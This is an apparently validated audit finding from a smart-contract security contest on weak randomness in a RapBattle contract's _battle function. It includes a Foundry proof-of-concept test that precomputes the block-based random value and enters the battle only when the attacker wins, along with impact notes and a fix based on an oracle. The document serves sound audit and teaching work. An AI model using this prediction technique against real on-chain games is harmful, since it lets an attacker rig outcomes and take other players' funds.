Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Weak Randomness

Summary

Hashing msg.sender, block.timestamp, block.prevrandao together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the battle themselves.

Vulnerability Details

This vulnerability exists in the RapBattle::_battle function in the RapBattle.sol file starting on line 55.

uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill;

POC

function testWeakRandom() public twoSkilledRappers {
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 10);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
vm.startPrank(challenger);
oneShot.approve(address(rapBattle), 1);
cred.approve(address(rapBattle), 10);
address defenderAddress = rapBattle.defender();
uint256 defenderTokenId = rapBattle.defenderTokenId();
uint256 defenderSkill = rapBattle.getRapperSkill(defenderTokenId);
uint256 totalSkill = defenderSkill + rapBattle.getRapperSkill(1);
uint256 rapBattleBalance = cred.balanceOf(address(rapBattle));
uint256 challengerBalance = cred.balanceOf(address(challenger));
while (defenderAddress == rapBattle.defender()) {
uint256 random = uint256(
keccak256(
abi.encodePacked(
block.timestamp,
block.prevrandao,
address(challenger)
)
)
) % totalSkill;
if (random > defenderSkill) {
rapBattle.goOnStageOrBattle(1, 3);
break;
}
vm.warp(block.timestamp + 100);
}
vm.stopPrank();
uint256 endingchallengerBalance = cred.balanceOf(address(challenger));
assert(endingchallengerBalance == rapBattleBalance + challengerBalance);
}

Impact

Using block.timestamp as a source of randomness can lead to predictable outcomes. Since miners have some control over the timestamp within certain bounds, malicious miners may manipulate the timestamp to influence the outcome of the random number generation.

Tools Used

Manual Review

Recommendations

Instead of relying solely on block.timestamp, consider using more secure randomness sources, such as cryptographic randomness generated from a secure random number generator (RNG) or an external oracle (chainlink). Secure randomness sources provide stronger guarantees of unpredictability and resistance to manipulation.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.